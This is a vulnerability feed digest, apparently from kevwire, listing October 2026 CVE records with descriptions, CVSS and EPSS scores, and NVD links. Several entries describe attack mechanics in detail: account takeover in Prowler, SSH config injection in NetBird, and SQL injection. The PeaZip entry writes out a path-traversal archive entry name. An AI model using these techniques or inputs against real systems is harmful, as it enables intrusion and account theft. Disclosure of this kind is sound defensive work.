An issue in ProPhoenix Law RMS v2022.2403.3.101 allows attackers to execute a session hijacking attack via injecting a crafted 24-character string into the ASP.NET_SessionId... (Oct 13, 2026).
An issue in ProPhoenix Law RMS v2022.2403.3.101 allows attackers to execute a session hijacking attack via injecting a crafted 24-character string into the ASP.NET_SessionId cookie.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2024-34324).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-34324&date=2026-10-25).
Sources:
NVD CVE-2024-34324: https://nvd.nist.gov/vuln/detail/CVE-2024-34324
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-34324&date=2026-10-25
An issue in ProPhoenix Law RMS v2022.2403.3.101 allows attackers to execute a session hijacking attack via injecting a crafted 24-character string into the ASP.NET_SessionId cookie.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Authentication in the social account linking path of the Prowler API in Prowler from 5.4.0 before 5.35.0 allows a remote unauthenticated attacker to obtain persistent...
https://kevwire.com/record/CVE-2026-100169
Improper Authentication in the social account linking path of the Prowler API in Prowler from 5.4.0 before 5.35.0 allows a remote unauthenticated attacker to obtain persistent... (Oct 14, 2026).
Improper Authentication in the social account linking path of the Prowler API in Prowler from 5.4.0 before 5.35.0 allows a remote unauthenticated attacker to obtain persistent access to the account of a user who has not yet registered, because ProwlerSocialAccountAdapter.pre_social_login() in api/src/backend/api/adapters.py links a Google or GitHub login to any existing local account that has the same email address as the one returned by the provider, without requiring that the address has been verified by the provider or on the existing account, and without any other check that both accounts belong to the same person. Self registration is open and the new account is usable at once, because UserViewSet.get_permissions() in api/src/backend/api/v1/views.py grants AllowAny to the create action, ACCOUNT_EMAIL_VERIFICATION is set to none in api/src/backend/config/settings/social_login.py, and the Django ModelBackend checks only the password and is_active, not the django-allauth EmailAddress record. An attacker who registers an email address before its owner keeps the password set at registration after the link is made, because sociallogin.connect() does not reset the password and does not disable the existing account, and the owner who later signs in with Google or GitHub is logged into the attacker's account. django-allauth makes the same email based link on its own, because SOCIALACCOUNT_EMAIL_AUTHENTICATION and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT are both set to True in the same settings module. This gives the attacker the cloud provider credentials, scan findings and tenant memberships held in the account.
CVSS 7.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100169).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100169&date=2026-10-25).
Sources:
NVD CVE-2026-100169: https://nvd.nist.gov/vuln/detail/CVE-2026-100169
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100169&date=2026-10-25
Improper Authentication in the social account linking path of the Prowler API in Prowler from 5.4.0 before 5.35.0 allows a remote unauthenticated attacker to obtain persistent access to the account of a user who has not yet registered, because ProwlerSocialAccountAdapter.pre_social_login() in api/src/backend/api/adapters.py links a Google or GitHub login to any existing local account that has the same email address as the one returned by the provider, without requiring that the address has been verified by the provider or on the existing account, and without any other check that both accounts belong to the same person. Self registration is open and the new account is usable at once, because UserViewSet.get_permissions() in api/src/backend/api/v1/views.py grants AllowAny to the create action, ACCOUNT_EMAIL_VERIFICATION is set to none in api/src/backend/config/settings/social_login.py, and the Django ModelBackend checks only the password and is_active, not the django-allauth EmailAddress record. An attacker who registers an email address before its owner keeps the password set at registration after the link is made, because sociallogin.connect() does not reset the password and does not disable the existing account, and the owner who later signs in with Google or GitHub is logged into the attacker's account. django-allauth makes the same email based link on its own, because SOCIALACCOUNT_EMAIL_AUTHENTICATION and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT are both set to True in the same settings module. This gives the attacker the cloud provider credentials, scan findings and tenant memberships held in the account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A remote attacker may send a specially crafted network packet that causes the
affected application to perform an out-of-bounds memory read due to insufficient validation of
packet...
https://kevwire.com/record/CVE-2026-101290
A remote attacker may send a specially crafted network packet that causes the
affected application to perform an out-of-bounds memory read due to insufficient validation of
packet... (Oct 15, 2026).
A remote attacker may send a specially crafted network packet that causes the
affected application to perform an out-of-bounds memory read due to insufficient validation of
packet length. This may result in an application crash and a denial-of-service condition.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101290).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101290&date=2026-10-25).
Sources:
NVD CVE-2026-101290: https://nvd.nist.gov/vuln/detail/CVE-2026-101290
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101290&date=2026-10-25
A remote attacker may send a specially crafted network packet that causes the
affected application to perform an out-of-bounds memory read due to insufficient validation of
packet length. This may result in an application crash and a denial-of-service condition.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tokens of text in RDATA (of for example TXT records) under 32 bytes are not checked to stay within the space reserved for the RDATA allowing for arbitrary sized out of bound stack...
https://kevwire.com/record/CVE-2026-101341
Tokens of text in RDATA (of for example TXT records) under 32 bytes are not checked to stay within the space reserved for the RDATA allowing for arbitrary sized out of bound stack... (Oct 14, 2026).
Tokens of text in RDATA (of for example TXT records) under 32 bytes are not checked to stay within the space reserved for the RDATA allowing for arbitrary sized out of bound stack writes, including an overwrite of a callback function pointer which is called directly after parse.  Zone files which are written out by NSD itself, such for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101341).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101341&date=2026-10-25).
Sources:
NVD CVE-2026-101341: https://nvd.nist.gov/vuln/detail/CVE-2026-101341
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101341&date=2026-10-25
Tokens of text in RDATA (of for example TXT records) under 32 bytes are not checked to stay within the space reserved for the RDATA allowing for arbitrary sized out of bound stack writes, including an overwrite of a callback function pointer which is called directly after parse.  Zone files which are written out by NSD itself, such for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CWE-345: Insufficient Verification of Data Authenticity vulnerability exists that could allow modified firmware to be uploaded when an authorized admin user begins a firmware...
https://kevwire.com/record/CVE-2026-102250
CWE-345: Insufficient Verification of Data Authenticity vulnerability exists that could allow modified firmware to be uploaded when an authorized admin user begins a firmware... (Oct 13, 2026).
CWE-345: Insufficient Verification of Data Authenticity vulnerability exists that could allow modified firmware to be uploaded when an authorized admin user begins a firmware update procedure which could result in control over the device.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102250).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102250&date=2026-10-25).
Sources:
NVD CVE-2026-102250: https://nvd.nist.gov/vuln/detail/CVE-2026-102250
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102250&date=2026-10-25
CWE-345: Insufficient Verification of Data Authenticity vulnerability exists that could allow modified firmware to be uploaded when an authorized admin user begins a firmware update procedure which could result in control over the device.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Path Traversal (CWE-22) in the execute_obj function of the archive object viewer (peach.pas) in PeaZip 11.2.0 and earlier on Windows allows an attacker who convinces a victim to...
https://kevwire.com/record/CVE-2026-104025
Path Traversal (CWE-22) in the execute_obj function of the archive object viewer (peach.pas) in PeaZip 11.2.0 and earlier on Windows allows an attacker who convinces a victim to... (Oct 15, 2026).
Path Traversal (CWE-22) in the execute_obj function of the archive object viewer (peach.pas) in PeaZip 11.2.0 and earlier on Windows allows an attacker who convinces a victim to preview an entry of a crafted archive via the "Preview with... -> Associated application" action (Shift+Ctrl+O) to execute an arbitrary program already present on the victim's system, with no warning dialog. The function validates only outname (PeaZip's own temporary directory) with checkfiledirname, while the string actually executed is the concatenation outname+tempstring; tempstring is taken verbatim from the archive entry name (StringGridList.Cells[12,...]) and is never validated. checkfiledirname (list_utils.pas) rejects control and reserved characters in the file name but performs no ".." path-containment check, so an entry named ../../../../Windows/System32/calc.exe escapes the extraction directory and is passed to cp_open -> ShellExecuteW; the extracting backend (7-Zip) strips the traversal while the opener does not. In addition, the SECEXTCONST dangerous-extension confirmation prompt is implemented only in the double-click handler (grid_obj_open) and not on this preview route, so an executable inside an archive reaches ShellExecuteW unannounced, and where the prompt does fire it names the entry's display name rather than the resolved path that will run. Arbitrary code execution was demonstrated with a proof of concept against official PeaZip builds, confirmed on two archive formats (.zip and .tar) to show the defect is in PeaZip's own path handling and not in a single format parser.
CVSS 8.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104025).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104025&date=2026-10-25).
Sources:
NVD CVE-2026-104025: https://nvd.nist.gov/vuln/detail/CVE-2026-104025
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104025&date=2026-10-25
Path Traversal (CWE-22) in the execute_obj function of the archive object viewer (peach.pas) in PeaZip 11.2.0 and earlier on Windows allows an attacker who convinces a victim to preview an entry of a crafted archive via the "Preview with... -> Associated application" action (Shift+Ctrl+O) to execute an arbitrary program already present on the victim's system, with no warning dialog. The function validates only outname (PeaZip's own temporary directory) with checkfiledirname, while the string actually executed is the concatenation outname+tempstring; tempstring is taken verbatim from the archive entry name (StringGridList.Cells[12,...]) and is never validated. checkfiledirname (list_utils.pas) rejects control and reserved characters in the file name but performs no ".." path-containment check, so an entry named ../../../../Windows/System32/calc.exe escapes the extraction directory and is passed to cp_open -> ShellExecuteW; the extracting backend (7-Zip) strips the traversal while the opener does not. In addition, the SECEXTCONST dangerous-extension confirmation prompt is implemented only in the double-click handler (grid_obj_open) and not on this preview route, so an executable inside an archive reaches ShellExecuteW unannounced, and where the prompt does fire it names the entry's display name rather than the resolved path that will run. Arbitrary code execution was demonstrated with a proof of concept against official PeaZip builds, confirmed on two archive formats (.zip and .tar) to show the defect is in PeaZip's own path handling and not in a single format parser.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mobile Security Framework (MobSF) v4.5.2 is vulnerable to Command Injection in /download_data/, /api/v1/scan, Dynamic Analyzer ADB integration module.
https://kevwire.com/record/CVE-2026-104585
Mobile Security Framework (MobSF) v4.5.2 is vulnerable to Command Injection in /download_data/, /api/v1/scan, Dynamic Analyzer ADB integration module. (Oct 13, 2026).
Mobile Security Framework (MobSF) v4.5.2 is vulnerable to Command Injection in /download_data/, /api/v1/scan, Dynamic Analyzer ADB integration module.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104585).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104585&date=2026-10-25).
Sources:
NVD CVE-2026-104585: https://nvd.nist.gov/vuln/detail/CVE-2026-104585
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104585&date=2026-10-25
Mobile Security Framework (MobSF) v4.5.2 is vulnerable to Command Injection in /download_data/, /api/v1/scan, Dynamic Analyzer ADB integration module.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements in the NetBird client SSH configuration manager (client/ssh/config/manager.go) in NetBird versions 0.60.0 through 0.74.6 allows a...
https://kevwire.com/record/CVE-2026-105429
Improper neutralization of special elements in the NetBird client SSH configuration manager (client/ssh/config/manager.go) in NetBird versions 0.60.0 through 0.74.6 allows a... (Oct 14, 2026).
Improper neutralization of special elements in the NetBird client SSH configuration manager (client/ssh/config/manager.go) in NetBird versions 0.60.0 through 0.74.6 allows a malicious or compromised peer to execute arbitrary commands on other NetBird client hosts. The client writes a system-wide OpenSSH drop-in file (/etc/ssh/ssh_config.d/99-netbird.conf, or the equivalent under %PROGRAMDATA%\ssh\ssh_config.d on Windows) that embeds each peer FQDN or hostname inside a double-quoted Match host directive without escaping. A peer name containing a double quote breaks out of the quoted context and injects arbitrary SSH configuration directives, including exec commands, which run locally as any user on the host the next time that user runs ssh. Desktop clients on Linux, macOS, Windows and FreeBSD are affected; the Android and iOS apps are not. The issue is fixed in version 0.74.7, which accepts a peer FQDN or hostname only if it is a valid DNS name.
CVSS 8.9 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105429).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105429&date=2026-10-25).
Sources:
NVD CVE-2026-105429: https://nvd.nist.gov/vuln/detail/CVE-2026-105429
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105429&date=2026-10-25
Improper neutralization of special elements in the NetBird client SSH configuration manager (client/ssh/config/manager.go) in NetBird versions 0.60.0 through 0.74.6 allows a malicious or compromised peer to execute arbitrary commands on other NetBird client hosts. The client writes a system-wide OpenSSH drop-in file (/etc/ssh/ssh_config.d/99-netbird.conf, or the equivalent under %PROGRAMDATA%\ssh\ssh_config.d on Windows) that embeds each peer FQDN or hostname inside a double-quoted Match host directive without escaping. A peer name containing a double quote breaks out of the quoted context and injects arbitrary SSH configuration directives, including exec commands, which run locally as any user on the host the next time that user runs ssh. Desktop clients on Linux, macOS, Windows and FreeBSD are affected; the Android and iOS apps are not. The issue is fixed in version 0.74.7, which accepts a peer FQDN or hostname only if it is a valid DNS name.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ELADMIN v2.7 and earlier contains an improper access control vulnerability in the user-management endpoint PUT /api/users/resetPwd of...
https://kevwire.com/record/CVE-2026-106700
ELADMIN v2.7 and earlier contains an improper access control vulnerability in the user-management endpoint PUT /api/users/resetPwd of... (Oct 15, 2026).
ELADMIN v2.7 and earlier contains an improper access control vulnerability in the user-management endpoint PUT /api/users/resetPwd of me.zhengjie.modules.system.rest.UserController. The method lacks the method-level authorization check applied to all other user-management endpoints and performs no role-level or ownership validation in UserServiceImpl.resetPwd. Any authenticated user of any role can reset the password of arbitrary users, including the built-in administrator.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106700).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106700&date=2026-10-25).
Sources:
NVD CVE-2026-106700: https://nvd.nist.gov/vuln/detail/CVE-2026-106700
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106700&date=2026-10-25
ELADMIN v2.7 and earlier contains an improper access control vulnerability in the user-management endpoint PUT /api/users/resetPwd of me.zhengjie.modules.system.rest.UserController. The method lacks the method-level authorization check applied to all other user-management endpoints and performs no role-level or ownership validation in UserServiceImpl.resetPwd. Any authenticated user of any role can reset the password of arbitrary users, including the built-in administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ELADMIN (eladmin-mp) up to 2.7 contains an improper access control vulnerability in the role management module.
https://kevwire.com/record/CVE-2026-106705
ELADMIN (eladmin-mp) up to 2.7 contains an improper access control vulnerability in the role management module. (Oct 16, 2026).
ELADMIN (eladmin-mp) up to 2.7 contains an improper access control vulnerability in the role management module. The endpoint PUT /api/roles/menu (RoleController.updateRoleMenu) authorizes the request only by comparing the target role's level with the caller's minimum level. The application neither validates the granted menu set nor prevents a caller from modifying its own role. A logged-in non-admin user whose role holds the delegated `roles:edit` permission can submit its own role id together with an arbitrary list of menu ids.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106705).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106705&date=2026-10-25).
Sources:
NVD CVE-2026-106705: https://nvd.nist.gov/vuln/detail/CVE-2026-106705
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106705&date=2026-10-25
ELADMIN (eladmin-mp) up to 2.7 contains an improper access control vulnerability in the role management module. The endpoint PUT /api/roles/menu (RoleController.updateRoleMenu) authorizes the request only by comparing the target role's level with the caller's minimum level. The application neither validates the granted menu set nor prevents a caller from modifying its own role. A logged-in non-admin user whose role holds the delegated `roles:edit` permission can submit its own role id together with an arbitrary list of menu ids.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SQL Injection (CWE-89) in the SOAP GetUser method of the /preapproval.asmx endpoint in Channel Software WebAlliance eCommerce [VERSION — missing] allows an unauthenticated remote...
https://kevwire.com/record/CVE-2026-108065
SQL Injection (CWE-89) in the SOAP GetUser method of the /preapproval.asmx endpoint in Channel Software WebAlliance eCommerce [VERSION — missing] allows an unauthenticated remote... (Oct 14, 2026).
SQL Injection (CWE-89) in the SOAP GetUser method of the /preapproval.asmx endpoint in Channel Software WebAlliance eCommerce [VERSION — missing] allows an unauthenticated remote attacker to read, write, and potentially execute commands on the backend Microsoft SQL Server via a crafted sUserID parameter value containing a single quote and stacked SQL query.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108065).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108065&date=2026-10-25).
Sources:
NVD CVE-2026-108065: https://nvd.nist.gov/vuln/detail/CVE-2026-108065
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108065&date=2026-10-25
SQL Injection (CWE-89) in the SOAP GetUser method of the /preapproval.asmx endpoint in Channel Software WebAlliance eCommerce [VERSION — missing] allows an unauthenticated remote attacker to read, write, and potentially execute commands on the backend Microsoft SQL Server via a crafted sUserID parameter value containing a single quote and stacked SQL query.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A hard-coded cryptographic key vulnerability exists in the `/usr/bin/sysman` of some of Moxa's industrial computing products.
https://kevwire.com/record/CVE-2026-109813
A hard-coded cryptographic key vulnerability exists in the `/usr/bin/sysman` of some of Moxa's industrial computing products. (Oct 16, 2026).
A hard-coded cryptographic key vulnerability exists in the `/usr/bin/sysman` of some of Moxa's industrial computing products. An unauthenticated attacker with adjacent network access could exploit the exposed private key material to compromise the confidentiality and integrity of communications.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109813).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109813&date=2026-10-25).
Sources:
NVD CVE-2026-109813: https://nvd.nist.gov/vuln/detail/CVE-2026-109813
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109813&date=2026-10-25
A hard-coded cryptographic key vulnerability exists in the `/usr/bin/sysman` of some of Moxa's industrial computing products. An unauthenticated attacker with adjacent network access could exploit the exposed private key material to compromise the confidentiality and integrity of communications.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Hyland Desktop Host for Windows before 25.1.1 is vulnerable to local privilege escalation.
https://kevwire.com/record/CVE-2026-110359
Hyland Desktop Host for Windows before 25.1.1 is vulnerable to local privilege escalation. (Oct 14, 2026).
Hyland Desktop Host for Windows before 25.1.1 is vulnerable to local privilege escalation. This is caused by a privileged service running from the %PROGRAMDATA%\Hyland\DesktopHost\bin folder with weak permissions. A local user can exploit this to escalate privileges.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110359).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110359&date=2026-10-25).
Sources:
NVD CVE-2026-110359: https://nvd.nist.gov/vuln/detail/CVE-2026-110359
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110359&date=2026-10-25
Hyland Desktop Host for Windows before 25.1.1 is vulnerable to local privilege escalation. This is caused by a privileged service running from the %PROGRAMDATA%\Hyland\DesktopHost\bin folder with weak permissions. A local user can exploit this to escalate privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Samsung Open Source QA-Board allows : OS Command Injection.
https://kevwire.com/record/CVE-2026-110392
Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Samsung Open Source QA-Board allows : OS Command Injection. (Oct 14, 2026).
Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Samsung Open Source QA-Board allows : OS Command Injection.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110392).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110392&date=2026-10-25).
Sources:
NVD CVE-2026-110392: https://nvd.nist.gov/vuln/detail/CVE-2026-110392
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110392&date=2026-10-25
Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Samsung Open Source QA-Board allows : OS Command Injection.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nix before 2.35.3 and Lix before 2.95.4 have an integer overflow and resultant out-of-bounds write when evaluating untrusted expressions because list allocation is mishandled.
https://kevwire.com/record/CVE-2026-110449
Nix before 2.35.3 and Lix before 2.95.4 have an integer overflow and resultant out-of-bounds write when evaluating untrusted expressions because list allocation is mishandled. (Oct 14, 2026).
Nix before 2.35.3 and Lix before 2.95.4 have an integer overflow and resultant out-of-bounds write when evaluating untrusted expressions because list allocation is mishandled.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110449).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110449&date=2026-10-25).
Sources:
NVD CVE-2026-110449: https://nvd.nist.gov/vuln/detail/CVE-2026-110449
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110449&date=2026-10-25
Nix before 2.35.3 and Lix before 2.95.4 have an integer overflow and resultant out-of-bounds write when evaluating untrusted expressions because list allocation is mishandled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wheels 1.1.8 through 4.1.1 allows SQL injection when caller-supplied quoted values are parsed again as SQL by dynamic finders (such as findOneByEmail), the query builder's...
https://kevwire.com/record/CVE-2026-110911
Wheels 1.1.8 through 4.1.1 allows SQL injection when caller-supplied quoted values are parsed again as SQL by dynamic finders (such as findOneByEmail), the query builder's... (Oct 15, 2026).
Wheels 1.1.8 through 4.1.1 allows SQL injection when caller-supplied quoted values are parsed again as SQL by dynamic finders (such as findOneByEmail), the query builder's where(property, value) and where(property, operator, value), string/UUID-key lookup paths (findByKey, updateByKey, deleteByKey and findOrCreateBy...), and validatesUniquenessOf. The parser incorrectly treats a doubled single quote as the end of a literal. Applications passing request data to these APIs can expose authentication, password-reset or token lookups, and data to unauthorized access; numeric-column values are not affected. There is a similar concern for query-builder whereBetween() in 4.0.0 through 4.1.1: string/date bounds can alter SQL on MySQL/MariaDB with backslash escaping enabled. This is fixed in 4.1.2.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110911).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110911&date=2026-10-25).
Sources:
NVD CVE-2026-110911: https://nvd.nist.gov/vuln/detail/CVE-2026-110911
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110911&date=2026-10-25
Wheels 1.1.8 through 4.1.1 allows SQL injection when caller-supplied quoted values are parsed again as SQL by dynamic finders (such as findOneByEmail), the query builder's where(property, value) and where(property, operator, value), string/UUID-key lookup paths (findByKey, updateByKey, deleteByKey and findOrCreateBy...), and validatesUniquenessOf. The parser incorrectly treats a doubled single quote as the end of a literal. Applications passing request data to these APIs can expose authentication, password-reset or token lookups, and data to unauthorized access; numeric-column values are not affected. There is a similar concern for query-builder whereBetween() in 4.0.0 through 4.1.1: string/date bounds can alter SQL on MySQL/MariaDB with backslash escaping enabled. This is fixed in 4.1.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
